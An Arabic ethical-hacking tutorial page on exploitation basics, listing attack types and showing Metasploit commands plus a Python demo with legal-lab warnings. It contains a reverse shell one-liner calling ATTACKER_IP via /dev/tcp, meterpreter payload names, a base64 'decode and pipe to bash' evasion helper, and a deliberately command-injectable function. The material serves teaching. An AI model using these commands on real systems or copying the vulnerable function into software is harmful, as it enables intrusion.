Kodax

أساسيات الاستغلال (Exploitation) — الاختراق الأخلاقي

الاستغلال - Exploitation

ما هو الاستغلال؟

استخدام ثغرة للحصول على وصول غير مصرّح به.

أنواع الاستغلال

1. استغلال الويب

- SQL Injection

- XSS

- CSRF

- File Upload

- Command Injection

2. استغلال الشبكة

- Man in the Middle

- ARP Spoofing

- DNS Poisoning

3. استغلال النظام

- Buffer Overflow

- Privilege Escalation

- Password Cracking

Metasploit Framework

ما هو؟

إطار عمل قوي للاختراق الأخلاقي.

المكونات

- Exploits: كود الاستغلال

- Payloads: ما يُنفذ بعد الاستغلال

- Auxiliary: أدوات مساعدة

- Encoders: إخفاء الـ payload

الأوامر الأساسية

# تشغيل
msfconsole

# البحث عن exploit
search type:exploit name:apache

# استخدام exploit
use exploit/multi/http/apache_mod_cgi_bash_env_exec

# رؤية الخيارات
show options

# تعيين الهدف
set RHOSTS target.com

# تنفيذ
exploit

Payloads الشائعة

Reverse Shell

الضحية يتصل بك

payload/windows/meterpreter/reverse_tcp

Bind Shell

تتصل أنت بالضحية

payload/windows/meterpreter/bind_tcp

⚠️ تحذير هام

- لا تستغل أنظمة بدون إذن!

- الاستغلال بدون إذن = جريمة

- تدرّب على مختبرات قانونية فقط:

- HackTheBox

- TryHackMe

- VulnHub

- DVWA

# محاكاة مفاهيم الاستغلال (للتعليم فقط)
import base64
import socket

class ExploitationDemo:
    """
    عرض توضيحي لمفاهيم الاستغلال
    ⚠️ للتعليم فقط! لا تستخدم على أنظمة حقيقية بدون إذن!
    """
    
    # ===== Command Injection Demo =====
    @staticmethod
    def vulnerable_function(user_input):
        """
        ⚠️ كود ضعيف للتوضيح فقط!
        """
        import os
        # خطر! المستخدم يتحكم بالأمر
        result = os.popen(f"ping -c 1 {user_input}").read()
        return result
    
    @staticmethod
    def safe_function(user_input):
        """
        ✅ الطريقة الآمنة
        """
        import subprocess
        import shlex
        
        # التحقق من المدخلات
        if not user_input.replace('.', '').replace('-', '').isalnum():
            return "مدخل غير صالح!"
        
        # استخدام subprocess بشكل آمن
        try:
            result = subprocess.run(
                ['ping', '-c', '1', user_input],
                capture_output=True,
                text=True,
                timeout=5
            )
            return result.stdout
        except:
            return "خطأ!"
    
    # ===== Reverse Shell Concept =====
    @staticmethod
    def explain_reverse_shell():
        """
        شرح مفهوم Reverse Shell (بدون تنفيذ حقيقي)
        """
        explanation = """
╔══════════════════════════════════════════════╗
║           مفهوم Reverse Shell                ║
╚══════════════════════════════════════════════╝

الوضع العادي:
  أنت ──────connect────────→ الخادم
  
Reverse Shell:
  أنت ←──────connect──────── الخادم (الضحية)

لماذا Reverse؟
  - Firewall عادة يمنع الاتصالات الداخلة
  - لكن يسمح للاتصالات الخارجة
  - الضحية يبدأ الاتصال ← يمر من الفايروول

الخطوات:
1. المهاجم يشغّل listener على جهازه
   nc -lvp 4444
   
2. الضحية يُنفذ reverse shell
   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   
3. المهاجم يحصل على shell

⚠️ هذا للتعليم فقط!
   لا تنفذ على أنظمة بدون إذن!
"""
        return explanation
    
    # ===== Payload Encoding =====
    @staticmethod
    def encode_payload(payload):
        """
        ترميز payload بـ Base64 (للتخطي البسيط)
        """
        encoded = base64.b64encode(payload.encode()).decode()
        
        # كيف يُفك؟
        decoder = f"echo {encoded} | base64 -d | bash"
        
        return {
            "original": payload,
            "encoded": encoded,
            "decoder": decoder
        }
    
    # ===== Exploit Database Concept =====
    @staticmethod
    def search_exploits(keyword):
        """
        محاكاة البحث في Exploit-DB
        """
        # في الواقع: https://www.exploit-db.com/
        fake_results = {
            "apache": [
                {"id": "CVE-2021-41773", "title": "Apache Path Traversal"},
                {"id": "CVE-2014-6271", "title": "Shellshock"},
            ],
            "wordpress": [
                {"id": "CVE-2022-21661", "title": "WP Core SQLi"},
            ],
            "ssh": [
                {"id": "CVE-2018-15473", "title": "OpenSSH Username Enum"},
            ]
        }
        
        results = fake_results.get(keyword.lower(), [])
        
        print(f"\n🔍 البحث عن: {keyword}")
        print("-" * 40)
        
        if results:
            for r in results:
                print(f"  [{r['id']}] {r['title']}")
        else:
            print("  لم يُعثر على نتائج")
        
        return results


# ===== Legal Practice Labs =====
def legal_practice_resources():
    """
    موارد قانونية للتدريب
    """
    labs = """
╔══════════════════════════════════════════════╗
║     مختبرات تدريب قانونية                    ║
╚══════════════════════════════════════════════╝

🆓 مجانية:
  • TryHackMe (tryhackme.com)
    - مثالي للمبتدئين
    - مسارات تعليمية
  
  • HackTheBox Free Tier
    - آلات للاختراق
    - CTF challenges
  
  • VulnHub (vulnhub.com)
    - آلات افتراضية
    - تحمّل وتدرّب محلياً
  
  • DVWA (Damn Vulnerable Web App)
    - تطبيق ويب ضعيف للتدريب
    - يُنصّب محلياً
  
  • OWASP WebGoat
    - تعلم ثغرات الويب
    
  • PortSwigger Web Security Academy
    - مجاني 100%
    - أفضل لتعلم ثغرات الويب

💰 مدفوعة:
  • HackTheBox VIP
  • Offensive Security Labs
  • PentesterLab Pro

⚠️ تذكر:
  - تدرّب فقط على هذه المنصات
  - أو على أنظمتك الخاصة
  - الاختراق بدون إذن = جريمة!
"""
    return labs


# عرض
demo = ExploitationDemo()

# شرح Reverse Shell
print(demo.explain_reverse_shell())

# البحث عن exploits
demo.search_exploits("apache")
demo.search_exploits("wordpress")

# موارد التدريب
print(legal_practice_resources())
اختبر فهمك